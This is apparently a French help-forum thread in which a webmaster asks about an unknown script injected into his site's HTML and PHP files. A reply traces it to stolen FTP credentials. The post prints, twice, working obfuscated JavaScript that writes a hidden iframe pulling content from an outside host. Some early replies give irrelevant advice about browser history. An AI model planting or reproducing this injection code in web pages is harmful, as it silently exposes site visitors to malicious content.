Script inconnu sur mes pages web

Marcos -
marcos - 5 mars 2009 à 00:43

Bonjour,
J'ai un grand problème sur a peu près tous mes sites Web et je ne comprend pas d'où ça viens:

J'ai le script suivant a peu près sur toutes les pages de mes sites que ce soit ceux en html ainsi que ceux en joomla.
Je ne comprend pas d'où ça vient ni comment remédier a cela.
J'attends impatiemment vos réponses

<script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script></body>

Configuration: Windows XP
Firefox 3.0.6

Afficher la suite

6 réponses

Réponse 1 / 6
gabgabgab Messages postés 955 Statut Membre 26

as tu essayé de désinstaller et de réinstaller tous ce qui a un rapport avec internet ?
0
Réponse 2 / 6
noura509 Messages postés 261 Statut Membre 56

bonjour supprime ton historique de navigation
0
1. Marcos
  
  Merci pour vos réponses rapides.
  
  Oui j'ai reformaté mon ordi mais je retrouve encore ce code dans les fichier sources sur le serveur.
  Le code à été ajouté au fichier html et php sur le serveur.
  Que dois-je faire s'il vous plait.
  Et qu'es ce que c'est que ce code??
  Merci
  
  0
Réponse 3 / 6
noura509 Messages postés 261 Statut Membre 56

As-tu déjà supprimer tes historiques de navigation ?
0
1. Marcos
  
  Oui je l'ai fait, j'ai supprimé tout historique web. Deja j'ai firefox avec la barre web developer avec le cache toujours désactivé. En plus j'ai enlevé tous les historiques.
  Et la j'ai reformaté mon ordi mais rien a faire.
  Le code a été ajouté sur les fichier du serveur.
  Merci
  
  0
Réponse 4 / 6
noura509 Messages postés 261 Statut Membre 56

supprime firefox . et télécharger Windows Internet Explorer 7
0
1. Marcos
  
  J'ai internet explorer, mais le code y est aussi.
  Noura509 lorsque je télécharge les fichiers du serveur je trouve le code en copie a la fin de chaque fichier. Donc c'est pas du coté de mon ordi c'est plutôt du coté du serveur.
  Je ne comprend pas comment on a pu ajouter le code dans les fichiers de mon serveur.
  
  Merci
  
  0
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question
Réponse 5 / 6
Marcos

JE renouvelle ma question:
Es ce que quqlqu'un peut me dire c'est quoi ce code et d'ou cela peut venir??
Merci

<script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script></body>
0
1. Steph
  
  Bonjour Marcos,
  
  Il s'agit d'un script malveillant, j'ai eu le même problème sur certains de mes sites web.
  Vérifie bien que l'ordinateur ou les ordanteurs sur lequels tu travailles ne contiennent pas un virus qui a récupéré ton login et mot de passe ftp et donc a permis de modifier tes index.htm en rajoutant ce script malveillant.
  Vérifie tes logs au cas ou c'est comme ca que j'ai pu idenfier un accès par ftp et un changement de mes index.
  
  Cordialement
  Steph
  
  0
Réponse 6 / 6
marcos

merci steph,

J'ai changé les codes ftp et c'est bon. c'est exactement comme t'as expliqué. merci pour votre aide.

a+
0

Script inconnu sur mes pages web

6 réponses

Discussions similaires

Newsletters